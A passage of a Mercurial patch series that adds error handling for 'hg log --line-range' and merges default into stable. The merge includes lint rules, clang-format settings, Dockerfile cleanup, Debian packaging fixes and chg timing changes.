+        raise error.Abort(
+            _('FILE arguments are not compatible with --line-range option')
+        )
+
     if opts.get('follow') and opts.get('rev'):
         opts['rev'] = [revsetlang.formatspec('reverse(::%lr)', opts.get('rev'))]
         del opts['follow']
diff --git a/tests/test-log-linerange.t b/tests/test-log-linerange.t
--- a/tests/test-log-linerange.t
+++ b/tests/test-log-linerange.t
@@ -288,64 +288,11 @@
   +4
   
 
-Regular file patterns are allowed with -L and their diff shows all lines.
+Regular file patterns are not allowed.
 
   $ hg log -f -L foo,5:7 -p bar
-  changeset:   5:cfdf972b3971
-  tag:         tip
-  user:        test
-  date:        Thu Jan 01 00:00:00 1970 +0000
-  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
-  
-  diff --git a/bar b/bar
-  --- a/bar
-  +++ b/bar
-  @@ -1,4 +1,4 @@
-  -a
-  +a+
-   b
-   c
-   d
-  diff --git a/foo b/foo
-  --- a/foo
-  +++ b/foo
-  @@ -4,7 +4,7 @@
-   0
-    1
-   2+
-  -3
-  +3+
-   4
-   5
-   6
-  
-  changeset:   2:63a884426fd0
-  user:        test
-  date:        Thu Jan 01 00:00:00 1970 +0000
-  summary:     2 -> 2+; added bar
-  
-  diff --git a/bar b/bar
-  new file mode 100644
-  --- /dev/null
-  +++ b/bar
-  @@ -0,0 +1,5 @@
-  +a
-  +b
-  +c
-  +d
-  +e
-  diff --git a/foo b/foo
-  --- a/foo
-  +++ b/foo
-  @@ -3,6 +3,6 @@
-   0
-   0
-   1
-  -2
-  +2+
-   3
-   4
-  
+  abort: FILE arguments are not compatible with --line-range option
+  [255]
 
 Option --rev acts as a restriction.
 
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1508417710 -7200
#      Thu Oct 19 14:55:10 2017 +0200
# Node ID 0ccfc468423a5b9dd213ae9461ebc91ae0f8d976
# Parent  2e45bbd3db7bab742cddcf15798759b65177df5f
log: handle removed files with --line-range patterns

I.e. abort when the pattern corresponds to a removed file, as done with bare
file patterns.

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -2627,6 +2627,9 @@
     # Two-levels map of "rev -> file ctx -> [line range]".
     linerangesbyrev = {}
     for fname, (fromline, toline) in _parselinerangelogopt(repo, opts):
+        if fname not in wctx:
+            raise error.Abort(_('cannot follow file not in parent '
+                                'revision: "%s"') % fname)
         fctx = wctx.filectx(fname)
         for fctx, linerange in dagop.blockancestors(fctx, fromline, toline):
             rev = fctx.introrev()
diff --git a/tests/test-log-linerange.t b/tests/test-log-linerange.t
--- a/tests/test-log-linerange.t
+++ b/tests/test-log-linerange.t
@@ -842,6 +842,14 @@
   hg: parse error: line range pattern 'glob:*a*' must match exactly one file
   [255]
 
+We get an error for removed files.
+
+  $ hg rm dir/baz
+  $ hg ci -m 'remove baz' --quiet
+  $ hg log -f -L dir/baz,5:7 -p
+  abort: cannot follow file not in parent revision: "dir/baz"
+  [255]
+
 Graph log does work yet.
 
   $ hg log -f -L dir/baz,5:7 --graph
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1508418393 -7200
#      Thu Oct 19 15:06:33 2017 +0200
# Node ID 907ff34e1460e2ced2aac24e728c242033394c23
# Parent  0ccfc468423a5b9dd213ae9461ebc91ae0f8d976
log: add an assertion about fctx not being None in patch.diff()

As noted in the comment, this should not happen as removed files (the cause of
fctx2 being None) are caught earlier.

diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -2330,6 +2330,11 @@
             losedatafn=losedatafn, prefix=prefix, relroot=relroot, copy=copy,
     ):
         if hunksfilterfn is not None:
+            # If the file has been removed, fctx2 is None; but this should
+            # not occur here since we catch removed files early in
+            # cmdutil.getloglinerangerevs() for 'hg log -L'.
+            assert fctx2 is not None, \
+                'fctx2 unexpectly None in diff hunks filtering'
             hunks = hunksfilterfn(fctx2, hunks)
         text = ''.join(sum((list(hlines) for hrange, hlines in hunks), []))
         if hdr and (text or len(hdr) > 1):
# HG changeset patch
# User Kevin Bullock <kbullock+mercurial@ringworld.org>
# Date 1508444105 18000
#      Thu Oct 19 15:15:05 2017 -0500
# Branch stable
# Node ID a52e5604d864579a78a4a5c2b4228bddc916ed5a
# Parent  bb14dbab4df63306e702b9b26d0e2377bce82bb2
# Parent  907ff34e1460e2ced2aac24e728c242033394c23
merge default into stable for code freeze

# no-check-commit because default contains new vendored code

diff --git a/.clang-format b/.clang-format
new file mode 100644
--- /dev/null
+++ b/.clang-format
@@ -0,0 +1,8 @@
+BasedOnStyle: LLVM
+IndentWidth: 8
+UseTab: ForIndentation
+BreakBeforeBraces: Linux
+AllowShortIfStatementsOnASingleLine: false
+IndentCaseLabels: false
+AllowShortBlocksOnASingleLine: false
+AllowShortFunctionsOnASingleLine: false
diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -122,6 +122,10 @@
 check-code:
 	hg manifest | xargs python contrib/check-code.py
 
+format-c:
+	clang-format --style file -i \
+	  `hg files 'set:(**.c or **.h) and not "listfile:contrib/clang-format-blacklist"'`
+
 update-pot: i18n/hg.pot
 
 i18n/hg.pot: $(PYFILES) $(DOCFILES) i18n/posplit i18n/hggettext
@@ -132,6 +136,7 @@
 	  mercurial/templater.py \
 	  mercurial/filemerge.py \
 	  mercurial/hgweb/webcommands.py \
+	  mercurial/util.py \
 	  $(DOCFILES) > i18n/hg.pot.tmp
         # All strings marked for translation in Mercurial contain
         # ASCII characters only. But some files contain string
@@ -180,7 +185,6 @@
 	make -C contrib/chg \
 	  HGPATH=/usr/local/bin/hg \
 	  PYTHON=/usr/bin/python2.7 \
-	  HG=/usr/local/bin/hg \
 	  HGEXTDIR=/Library/Python/2.7/site-packages/hgext \
 	  DESTDIR=../../build/mercurial \
 	  PREFIX=/usr/local \
diff --git a/README b/README.rst
rename from README
rename to README.rst
diff --git a/contrib/builddeb b/contrib/builddeb
--- a/contrib/builddeb
+++ b/contrib/builddeb
@@ -73,7 +73,7 @@
         exit 1
     fi
 
-    cp -r $PWD/contrib/debian debian
+    cp -r "$PWD"/contrib/debian debian
 
     sed -i.tmp "s/__VERSION__/$debver/" $changelog
     sed -i.tmp "s/__DATE__/$(date --rfc-2822)/" $changelog
diff --git a/contrib/buildrpm b/contrib/buildrpm
--- a/contrib/buildrpm
+++ b/contrib/buildrpm
@@ -11,6 +11,7 @@
 
 BUILD=1
 RPMBUILDDIR="$PWD/rpmbuild"
+
 while [ "$1" ]; do
     case "$1" in
     --prepare )
diff --git a/contrib/check-code.py b/contrib/check-code.py
--- a/contrib/check-code.py
+++ b/contrib/check-code.py
@@ -119,7 +119,9 @@
     (r'\[[^\]]+==', '[ foo == bar ] is a bashism, use [ foo = bar ] instead'),
     (r'(^|\|\s*)grep (-\w\s+)*[^|]*[(|]\w',
      "use egrep for extended grep syntax"),
-    (r'/bin/', "don't use explicit paths for tools"),
+    (r'(^|\|\s*)e?grep .*\\S', "don't use \\S in regular expression"),
+    (r'(?<!!)/bin/', "don't use explicit paths for tools"),
+    (r'#!.*/bash', "don't use bash in shebang, use sh"),
     (r'[^\n]\Z', "no trailing newline"),
     (r'export .*=', "don't export and assign at once"),
     (r'^source\b', "don't use 'source', use '.'"),
@@ -159,7 +161,7 @@
 ]
 
 testfilters = [
-    (r"( *)(#([^\n]*\S)?)", repcomment),
+    (r"( *)(#([^!][^\n]*\S)?)", repcomment),
     (r"<<(\S+)((.|\n)*?\n\1)", rephere),
 ]
 
@@ -201,6 +203,7 @@
      'use test -f to test for file existence'),
     (r'^  diff -[^ -]*p',
      "don't use (external) diff with -p for portability"),
+    (r' readlink ', 'use readlink.py instead of readlink'),
     (r'^  [-+][-+][-+] .* [-+]0000 \(glob\)',
      "glob timezone field in diff output for portability"),
     (r'^  @@ -[0-9]+ [+][0-9]+,[0-9]+ @@',
@@ -232,7 +235,7 @@
 
 utestfilters = [
     (r"<<(\S+)((.|\n)*?\n  > \1)", rephere),
-    (r"( +)(#([^\n]*\S)?)", repcomment),
+    (r"( +)(#([^!][^\n]*\S)?)", repcomment),
 ]
 
 pypats = [
@@ -255,13 +258,23 @@
     (r'(\w|\))[+/*\-<>]\w', "missing whitespace in expression"),
     (r'^\s+(\w|\.)+=\w[^,()\n]*$', "missing whitespace in assignment"),
     (r'\w\s=\s\s+\w', "gratuitous whitespace after ="),
+    ((
+        # a line ending with a colon, potentially with trailing comments
+        r':([ \t]*#[^\n]*)?\n'
+        # one that is not a pass and not only a comment
+        r'(?P<indent>[ \t]+)[^#][^\n]+\n'
+        # more lines at the same indent level
+        r'((?P=indent)[^\n]+\n)*'
+        # a pass at the same indent level, which is bogus
+        r'(?P=indent)pass[ \t\n#]'
+      ), 'omit superfluous pass'),
     (r'.{81}', "line too long"),
     (r'[^\n]\Z', "no trailing newline"),
     (r'(\S[ \t]+|^[ \t]+)\n', "trailing whitespace"),
 #    (r'^\s+[^_ \n][^_. \n]+_[^_\n]+\s*=',
 #     "don't use underbars in identifiers"),
-    (r'^\s+(self\.)?[A-za-z][a-z0-9]+[A-Z]\w* = ',
-     "don't use camelcase in identifiers"),
+    (r'^\s+(self\.)?[A-Za-z][a-z0-9]+[A-Z]\w* = ',
+     "don't use camelcase in identifiers", r'#.*camelcase-required'),
     (r'^\s*(if|while|def|class|except|try)\s[^[\n]*:\s*[^\\n]#\s]+',
      "linebreak after :"),
     (r'class\s[^( \n]+:', "old-style class, use class foo(object)",
@@ -333,6 +346,7 @@
     (r'def.*[( ]\w+=\{\}', "don't use mutable default arguments"),
     (r'\butil\.Abort\b', "directly use error.Abort"),
     (r'^@(\w*\.)?cachefunc', "module-level @cachefunc is risky, please avoid"),
+    (r'^import atexit', "don't use atexit, use ui.atexit"),
     (r'^import Queue', "don't use Queue, use util.queue + util.empty"),
     (r'^import cStringIO', "don't use cStringIO.StringIO, use util.stringio"),
     (r'^import urllib', "don't use urllib, use util.urlreq/util.urlerr"),
@@ -348,6 +362,7 @@
     (r'\.next\(\)', "don't use .next(), use next(...)"),
     (r'([a-z]*).revision\(\1\.node\(',
      "don't convert rev to node before passing to revision(nodeorrev)"),
+    (r'platform\.system\(\)', "don't use platform.system(), use pycompat"),
 
     # rules depending on implementation of repquote()
     (r' x+[xpqo%APM][\'"]\n\s+[\'"]x',
@@ -382,6 +397,18 @@
           (?P=quote))""", reppython),
 ]
 
+# non-filter patterns
+pynfpats = [
+    [
+    (r'pycompat\.osname\s*[=!]=\s*[\'"]nt[\'"]', "use pycompat.iswindows"),
+    (r'pycompat\.osname\s*[=!]=\s*[\'"]posix[\'"]', "use pycompat.isposix"),
+    (r'pycompat\.sysplatform\s*[!=]=\s*[\'"]darwin[\'"]',
+     "use pycompat.isdarwin"),
+    ],
+    # warnings
+    [],
+]
+
 # extension non-filter patterns
 pyextnfpats = [
     [(r'^"""\n?[A-Z]', "don't capitalize docstring title")],
@@ -402,7 +429,6 @@
 cpats = [
   [
     (r'//', "don't use //-style comments"),
-    (r'^  ', "don't use spaces to indent"),
     (r'\S\t', "don't use tabs except for indent"),
     (r'(\S[ \t]+|^[ \t]+)\n', "trailing whitespace"),
     (r'.{81}', "line too long"),
@@ -498,6 +524,7 @@
 
 checks = [
     ('python', r'.*\.(py|cgi)$', r'^#!.*python', pyfilters, pypats),
+    ('python', r'.*\.(py|cgi)$', r'^#!.*python', [], pynfpats),
     ('python', r'.*hgext.*\.py$', '', [], pyextnfpats),
     ('python 3', r'.*(hgext|mercurial)/(?!demandimport|policy|pycompat).*\.py',
      '', pyfilters, py3pats),
diff --git a/contrib/chg/Makefile b/contrib/chg/Makefile
--- a/contrib/chg/Makefile
+++ b/contrib/chg/Makefile
@@ -1,5 +1,3 @@
-HG = $(CURDIR)/../../hg
-
 TARGET = chg
 SRCS = chg.c hgclient.c procutil.c util.c
 OBJS = $(SRCS:.c=.o)
@@ -15,9 +13,6 @@
 PREFIX = /usr/local
 MANDIR = $(PREFIX)/share/man/man1
 
-CHGSOCKDIR = /tmp/chg$(shell id -u)
-CHGSOCKNAME = $(CHGSOCKDIR)/server
-
 .PHONY: all
 all: $(TARGET)
 
@@ -31,17 +26,10 @@
 
 .PHONY: install
 install: $(TARGET)
-	install -d $(DESTDIR)$(PREFIX)/bin
-	install -m 755 $(TARGET) $(DESTDIR)$(PREFIX)/bin
-	install -d $(DESTDIR)$(MANDIR)
-	install -m 644 chg.1 $(DESTDIR)$(MANDIR)
-
-.PHONY: serve
-serve:
-	[ -d $(CHGSOCKDIR) ] || ( umask 077; mkdir $(CHGSOCKDIR) )
-	$(HG) serve --cwd / --cmdserver chgunix \
-		--address $(CHGSOCKNAME) \
-		--config cmdserver.log=/dev/stderr
+	install -d "$(DESTDIR)$(PREFIX)"/bin
+	install -m 755 "$(TARGET)" "$(DESTDIR)$(PREFIX)"/bin
+	install -d "$(DESTDIR)$(MANDIR)"
+	install -m 644 chg.1 "$(DESTDIR)$(MANDIR)"
 
 .PHONY: clean
 clean:
diff --git a/contrib/chg/chg.c b/contrib/chg/chg.c
--- a/contrib/chg/chg.c
+++ b/contrib/chg/chg.c
@@ -369,7 +369,6 @@
 		SERVE = 1,
 		DAEMON = 2,
 		SERVEDAEMON = SERVE | DAEMON,
-		TIME = 4,
 	};
 	unsigned int state = 0;
 	int i;
@@ -381,11 +380,8 @@
 		else if (strcmp("-d", argv[i]) == 0 ||
 			 strcmp("--daemon", argv[i]) == 0)
 			state |= DAEMON;
-		else if (strcmp("--time", argv[i]) == 0)
-			state |= TIME;
 	}
-	return (state & TIME) == TIME ||
-	       (state & SERVEDAEMON) == SERVEDAEMON;
+	return (state & SERVEDAEMON) == SERVEDAEMON;
 }
 
 static void execoriginalhg(const char *argv[])
diff --git a/contrib/chg/util.c b/contrib/chg/util.c
--- a/contrib/chg/util.c
+++ b/contrib/chg/util.c
@@ -14,6 +14,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <sys/time.h>
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <unistd.h>
@@ -59,6 +60,13 @@
 }
 
 static int debugmsgenabled = 0;
+static double debugstart = 0;
+
+static double now() {
+	struct timeval t;
+	gettimeofday(&t, NULL);
+	return t.tv_usec / 1e6 + t.tv_sec;
+}
 
 void enablecolor(void)
 {
@@ -68,6 +76,7 @@
 void enabledebugmsg(void)
 {
 	debugmsgenabled = 1;
+	debugstart = now();
 }
 
 void debugmsg(const char *fmt, ...)
@@ -78,7 +87,7 @@
 	va_list args;
 	va_start(args, fmt);
 	fsetcolor(stderr, "1;30");
-	fputs("chg: debug: ", stderr);
+	fprintf(stderr, "chg: debug: %4.6f ", now() - debugstart);
 	vfprintf(stderr, fmt, args);
 	fsetcolor(stderr, "");
 	fputc('\n', stderr);
diff --git a/contrib/clang-format-blacklist b/contrib/clang-format-blacklist
new file mode 100644
--- /dev/null
+++ b/contrib/clang-format-blacklist
@@ -0,0 +1,69 @@
+# Files that just need to be migrated to the formatter.
+# Do not add new files here!
+contrib/chg/chg.c
+contrib/chg/hgclient.c
+contrib/chg/hgclient.h
+contrib/chg/procutil.c
+contrib/chg/procutil.h
+contrib/chg/util.c
+contrib/chg/util.h
+contrib/hgsh/hgsh.c
+mercurial/cext/base85.c
+mercurial/cext/bdiff.c
+mercurial/cext/charencode.c
+mercurial/cext/charencode.h
+mercurial/cext/diffhelpers.c
+mercurial/cext/dirs.c
+mercurial/cext/manifest.c
+mercurial/cext/mpatch.c
+mercurial/cext/osutil.c
+mercurial/cext/pathencode.c
+mercurial/cext/revlog.c
+# Vendored code that we should never format:
+contrib/python-zstandard/c-ext/bufferutil.c
+contrib/python-zstandard/c-ext/compressiondict.c
+contrib/python-zstandard/c-ext/compressionparams.c
+contrib/python-zstandard/c-ext/compressionwriter.c
+contrib/python-zstandard/c-ext/compressobj.c
+contrib/python-zstandard/c-ext/compressor.c
+contrib/python-zstandard/c-ext/compressoriterator.c
+contrib/python-zstandard/c-ext/constants.c
+contrib/python-zstandard/c-ext/decompressionwriter.c
+contrib/python-zstandard/c-ext/decompressobj.c
+contrib/python-zstandard/c-ext/decompressor.c
+contrib/python-zstandard/c-ext/decompressoriterator.c
+contrib/python-zstandard/c-ext/frameparams.c
+contrib/python-zstandard/c-ext/python-zstandard.h
+contrib/python-zstandard/zstd.c
+contrib/python-zstandard/zstd/common/bitstream.h
+contrib/python-zstandard/zstd/common/entropy_common.c
+contrib/python-zstandard/zstd/common/error_private.c
+contrib/python-zstandard/zstd/common/error_private.h
+contrib/python-zstandard/zstd/common/fse.h
+contrib/python-zstandard/zstd/common/fse_decompress.c
+contrib/python-zstandard/zstd/common/huf.h
+contrib/python-zstandard/zstd/common/mem.h
+contrib/python-zstandard/zstd/common/pool.c
+contrib/python-zstandard/zstd/common/pool.h
+contrib/python-zstandard/zstd/common/threading.c
+contrib/python-zstandard/zstd/common/threading.h
+contrib/python-zstandard/zstd/common/xxhash.c
+contrib/python-zstandard/zstd/common/xxhash.h
+contrib/python-zstandard/zstd/common/zstd_common.c
+contrib/python-zstandard/zstd/common/zstd_errors.h
+contrib/python-zstandard/zstd/common/zstd_internal.h
+contrib/python-zstandard/zstd/compress/fse_compress.c
+contrib/python-zstandard/zstd/compress/huf_compress.c
+contrib/python-zstandard/zstd/compress/zstd_compress.c
+contrib/python-zstandard/zstd/compress/zstd_opt.h
+contrib/python-zstandard/zstd/compress/zstdmt_compress.c
+contrib/python-zstandard/zstd/compress/zstdmt_compress.h
+contrib/python-zstandard/zstd/decompress/huf_decompress.c
+contrib/python-zstandard/zstd/decompress/zstd_decompress.c
+contrib/python-zstandard/zstd/dictBuilder/cover.c
+contrib/python-zstandard/zstd/dictBuilder/divsufsort.c
+contrib/python-zstandard/zstd/dictBuilder/divsufsort.h
+contrib/python-zstandard/zstd/dictBuilder/zdict.c
+contrib/python-zstandard/zstd/dictBuilder/zdict.h
+contrib/python-zstandard/zstd/zstd.h
+hgext/fsmonitor/pywatchman/bser.c
diff --git a/contrib/debian/rules b/contrib/debian/rules
--- a/contrib/debian/rules
+++ b/contrib/debian/rules
@@ -15,22 +15,30 @@
 	find debian/mercurial/usr/share -type d -empty -delete
 
 override_dh_install:
-	python$(PYVERS) setup.py install --root $(CURDIR)/debian/mercurial --install-layout=deb
+	python$(PYVERS) setup.py install --root "$(CURDIR)"/debian/mercurial --install-layout=deb
+	# chg
+	make -C contrib/chg \
+		DESTDIR="$(CURDIR)"/debian/mercurial \
+		PREFIX=/usr \
+		clean install
 	# remove arch-independent python stuff
-	find $(CURDIR)/debian/mercurial/usr/lib \
+	find "$(CURDIR)"/debian/mercurial/usr/lib \
 		! -name '*.so' ! -type d -delete , \
 		-type d -empty -delete
-	python$(PYVERS) setup.py install --root $(CURDIR)/debian/mercurial-common --install-layout=deb
-	make install-doc PREFIX=$(CURDIR)/debian/mercurial-common/usr
+	python$(PYVERS) setup.py install --root "$(CURDIR)/debian/mercurial-common" --install-layout=deb
+	make install-doc PREFIX="$(CURDIR)"/debian/mercurial-common/usr
 	# remove arch-dependent python stuff
-	find $(CURDIR)/debian/mercurial-common/usr/lib \
+	find "$(CURDIR)"/debian/mercurial-common/usr/lib \
 		-name '*.so' ! -type d -delete , \
 		-type d -empty -delete
-	cp contrib/hg-ssh $(CURDIR)/debian/mercurial-common/usr/bin
-	mkdir -p $(CURDIR)/debian/mercurial-common/usr/share/mercurial
-	cp contrib/hgk $(CURDIR)/debian/mercurial-common/usr/share/mercurial
-	mkdir -p $(CURDIR)/debian/mercurial-common/etc/mercurial/hgrc.d/
-	cp contrib/debian/*.rc $(CURDIR)/debian/mercurial-common/etc/mercurial/hgrc.d/
-	mkdir -p $(CURDIR)/debian/mercurial-common/usr/share/bash-completion/completions
-	cp contrib/bash_completion $(CURDIR)/debian/mercurial-common/usr/share/bash-completion/completions/hg
-	rm $(CURDIR)/debian/mercurial-common/usr/bin/hg
+	cp contrib/hg-ssh "$(CURDIR)"/debian/mercurial-common/usr/bin
+	mkdir -p "$(CURDIR)"/debian/mercurial-common/usr/share/mercurial
+	cp contrib/hgk "$(CURDIR)"/debian/mercurial-common/usr/share/mercurial
+	mkdir -p "$(CURDIR)"/debian/mercurial-common/etc/mercurial/hgrc.d/
+	cp contrib/debian/*.rc "$(CURDIR)"/debian/mercurial-common/etc/mercurial/hgrc.d/
+	# completions
+	mkdir -p "$(CURDIR)"/debian/mercurial-common/usr/share/bash-completion/completions
+	cp contrib/bash_completion "$(CURDIR)"/debian/mercurial-common/usr/share/bash-completion/completions/hg
+	mkdir -p "$(CURDIR)"/debian/mercurial-common/usr/share/zsh/vendor-completions
+	cp contrib/zsh_completion "$(CURDIR)"/debian/mercurial-common/usr/share/zsh/vendor-completions/_hg
+	rm "$(CURDIR)"/debian/mercurial-common/usr/bin/hg
diff --git a/contrib/dirstatenonnormalcheck.py b/contrib/dirstatenonnormalcheck.py
--- a/contrib/dirstatenonnormalcheck.py
+++ b/contrib/dirstatenonnormalcheck.py
@@ -32,9 +32,10 @@
 
 def _checkdirstate(orig, self, arg):
     """Check nonnormal set consistency before and after the call to orig"""
-    checkconsistency(self._ui, orig, self._map, self._nonnormalset, "before")
+    checkconsistency(self._ui, orig, self._map, self._map.nonnormalset,
+                     "before")
     r = orig(self, arg)
-    checkconsistency(self._ui, orig, self._map, self._nonnormalset, "after")
+    checkconsistency(self._ui, orig, self._map, self._map.nonnormalset, "after")
     return r
 
 def extsetup(ui):
diff --git a/contrib/docker/centos5 b/contrib/docker/centos5
--- a/contrib/docker/centos5
+++ b/contrib/docker/centos5
@@ -1,9 +1,23 @@
 FROM centos:centos5
-RUN sed -i 's/^mirrorlist/#mirrorlist/' /etc/yum.repos.d/*.repo
-RUN sed -i 's/^#\(baseurl=\)http:\/\/mirror.centos.org\/centos/\1http:\/\/vault.centos.org/' /etc/yum.repos.d/*.repo
-RUN sed -i 's/\$releasever/5.11/' /etc/yum.repos.d/*.repo
-RUN yum install -y gcc make rpm-build gettext tar
-RUN yum install -y python-devel python-docutils
+RUN \
+	sed -i 's/^mirrorlist/#mirrorlist/' /etc/yum.repos.d/*.repo && \
+	sed -i 's/^#\(baseurl=\)http:\/\/mirror.centos.org\/centos/\1http:\/\/vault.centos.org/' /etc/yum.repos.d/*.repo && \
+	sed -i 's/\$releasever/5.11/' /etc/yum.repos.d/*.repo
+
+RUN yum install -y \
+	gcc \
+	gettext \
+	make \
+	python-devel \
+	python-docutils \
+	rpm-build \
+	tar
+
 # For creating repo meta data
-RUN yum install -y createrepo
-RUN yum install -y readline-devel openssl-devel ncurses-devel zlib-devel bzip2-devel
+RUN yum install -y \
+	bzip2-devel \
+	createrepo \
+	ncurses-devel \
+	openssl-devel \
+	readline-devel \
+	zlib-devel
diff --git a/contrib/docker/centos6 b/contrib/docker/centos6
--- a/contrib/docker/centos6
+++ b/contrib/docker/centos6
@@ -1,11 +1,20 @@
 FROM centos:centos6
-RUN yum install -y gcc
-RUN yum install -y python-devel python-docutils
-RUN yum install -y make
-RUN yum install -y rpm-build
-RUN yum install -y gettext
-RUN yum install -y tar
+RUN yum install -y \
+	gcc \
+	gettext \
+	make \
+	python-devel \
+	python-docutils \
+	rpm-build \
+	tar
+
 # For creating repo meta data
 RUN yum install -y createrepo
+
 # For python
-RUN yum install -y readline-devel openssl-devel ncurses-devel zlib-devel bzip2-devel
+RUN yum install -y \
+	bzip2-devel \
+	ncurses-devel \
+	openssl-devel \
+	readline-devel \
+	zlib-devel
diff --git a/contrib/docker/centos7 b/contrib/docker/centos7
--- a/contrib/docker/centos7
+++ b/contrib/docker/centos7
@@ -1,9 +1,12 @@
 FROM centos:centos7
-RUN yum install -y gcc
-RUN yum install -y python-devel python-docutils
-RUN yum install -y make
-RUN yum install -y rpm-build
-RUN yum install -y gettext
-RUN yum install -y tar
+RUN yum install -y \
+	gcc \
+	gettext \
+	make \
+	python-devel \
+	python-docutils \
+	rpm-build \
+	tar
+
 # For creating repo meta data
 RUN yum install -y createrepo
diff --git a/contrib/docker/debian.template b/contrib/docker/debian.template
--- a/contrib/docker/debian.template
+++ b/contrib/docker/debian.template
@@ -2,11 +2,11 @@
 RUN apt-get update && apt-get install -y \
   build-essential \
   debhelper \
+  devscripts \
   dh-python \
-  devscripts \
   less \
   python \
   python-all-dev \
   python-docutils \
-  zip \
-  unzip
+  unzip \
+  zip
diff --git a/contrib/docker/fedora20 b/contrib/docker/fedora20
--- a/contrib/docker/fedora20
+++ b/contrib/docker/fedora20
@@ -1,8 +1,11 @@
 FROM fedora:20
-RUN yum install -y gcc
-RUN yum install -y python-devel python-docutils
-RUN yum install -y make
-RUN yum install -y rpm-build
-RUN yum install -y gettext
+RUN yum install -y \
+	gcc \
+	gettext \
+	make \
+	python-devel \
+	python-docutils \
+	rpm-build
+
 # For creating repo meta data
 RUN yum install -y createrepo
diff --git a/contrib/docker/fedora21 b/contrib/docker/fedora21
--- a/contrib/docker/fedora21
+++ b/contrib/docker/fedora21
@@ -1,8 +1,11 @@
 FROM fedora:21
-RUN yum install -y gcc
-RUN yum install -y python-devel python-docutils
-RUN yum install -y make
-RUN yum install -y rpm-build
-RUN yum install -y gettext
+RUN yum install -y \
+	gcc \
+	gettext \
+	make \
+	python-devel \
+	python-docutils \
+	rpm-build
+
 # For creating repo meta data
 RUN yum install -y createrepo
diff --git a/contrib/docker/ubuntu.template b/contrib/docker/ubuntu.template
--- a/contrib/docker/ubuntu.template
+++ b/contrib/docker/ubuntu.template
@@ -2,11 +2,11 @@
 RUN apt-get update && apt-get install -y \
   build-essential \
   debhelper \
+  devscripts \
   dh-python \
-  devscripts \
   less \
   python \
   python-all-dev \
   python-docutils \
-  zip \
-  unzip
+  unzip \
+  zip
diff --git a/contrib/hg-ssh b/contrib/hg-ssh
--- a/contrib/hg-ssh
+++ b/contrib/hg-ssh
@@ -28,13 +28,19 @@
 You can also add a --read-only flag to allow read-only access to a key, e.g.:
 command="hg-ssh --read-only repos/*"
 """
+from __future__ import absolute_import
+
+import os
+import shlex
+import sys
 
 # enable importing on demand to reduce startup time
-from mercurial import demandimport; demandimport.enable()
+import hgdemandimport ; hgdemandimport.enable()
 
-from mercurial import dispatch, ui as uimod
-
-import sys, os, shlex
+from mercurial import (
+    dispatch,
+    ui as uimod,
+)
 
 def main():
     cwd = os.getcwd()
diff --git a/contrib/hgperf b/contrib/hgperf
--- a/contrib/hgperf
+++ b/contrib/hgperf
@@ -52,18 +52,20 @@
     sys.stderr.write("(check your install and PYTHONPATH)\n")
     sys.exit(-1)
 
-import mercurial.util
-import mercurial.dispatch
+from mercurial import (
+    dispatch,
+    util,
+)
 
 def timer(func, title=None):
     results = []
-    begin = mercurial.util.timer()
+    begin = util.timer()
     count = 0
     while True:
         ostart = os.times()
-        cstart = mercurial.util.timer()
+        cstart = util.timer()
         r = func()
-        cstop = mercurial.util.timer()
+        cstop = util.timer()
         ostop = os.times()
         count += 1
         a, b = ostart, ostop
@@ -80,7 +82,7 @@
     sys.stderr.write("! wall %f comb %f user %f sys %f (best of %d)\n"
                      % (m[0], m[1] + m[2], m[1], m[2], count))
 
-orgruncommand = mercurial.dispatch.runcommand
+orgruncommand = dispatch.runcommand
 
 def runcommand(lui, repo, cmd, fullargs, ui, options, d, cmdpats, cmdoptions):
     ui.pushbuffer()
@@ -90,9 +92,6 @@
     ui.popbuffer()
     lui.popbuffer()
 
-mercurial.dispatch.runcommand = runcommand
+dispatch.runcommand = runcommand
 
-for fp in (sys.stdin, sys.stdout, sys.stderr):
-    mercurial.util.setbinary(fp)
-
-mercurial.dispatch.run()
+dispatch.run()
diff --git a/contrib/import-checker.py b/contrib/import-checker.py
--- a/contrib/import-checker.py
+++ b/contrib/import-checker.py
@@ -12,12 +12,18 @@
 # to work when run from a virtualenv.  The modules were chosen empirically
 # so that the return value matches the return value without virtualenv.
 if True: # disable lexical sorting checks
-    import BaseHTTPServer
+    try:
+        import BaseHTTPServer as basehttpserver
+    except ImportError:
+        basehttpserver = None
     import zlib
 
 # Whitelist of modules that symbols can be directly imported from.
 allowsymbolimports = (
     '__future__',
+    'bzrlib',
+    'hgclient',
+    'mercurial',
     'mercurial.hgweb.common',
     'mercurial.hgweb.request',
     'mercurial.i18n',
@@ -29,6 +35,8 @@
     'mercurial.pure.mpatch',
     'mercurial.pure.osutil',
     'mercurial.pure.parsers',
+    # third-party imports should be directly imported
+    'mercurial.thirdparty',
 )
 
 # Whitelist of symbols that can be directly imported.
@@ -144,6 +152,8 @@
     >>> fromlocal2('bar', 2)
     ('foo.bar', 'foo.bar.__init__', True)
     """
+    if not isinstance(modulename, str):
+        modulename = modulename.decode('ascii')
     prefix = '.'.join(modulename.split('.')[:-1])
     if prefix:
         prefix += '.'
@@ -183,8 +193,9 @@
 def list_stdlib_modules():
     """List the modules present in the stdlib.
 
+    >>> py3 = sys.version_info[0] >= 3
     >>> mods = set(list_stdlib_modules())
-    >>> 'BaseHTTPServer' in mods
+    >>> 'BaseHTTPServer' in mods or py3
     True
 
     os.path isn't really a module, so it's missing:
@@ -201,7 +212,7 @@
     >>> 'collections' in mods
     True
 
-    >>> 'cStringIO' in mods
+    >>> 'cStringIO' in mods or py3
     True
 
     >>> 'cffi' in mods
@@ -213,7 +224,11 @@
     # consider them stdlib.
     for m in ['msvcrt', '_winreg']:
         yield m
+    yield '__builtin__'
     yield 'builtins' # python3 only
+    yield 'importlib.abc' # python3 only
+    yield 'importlib.machinery' # python3 only
+    yield 'importlib.util' # python3 only
     for m in 'fcntl', 'grp', 'pwd', 'termios':  # Unix only
         yield m
     for m in 'cPickle', 'datetime': # in Python (not C) on PyPy
@@ -223,7 +238,9 @@
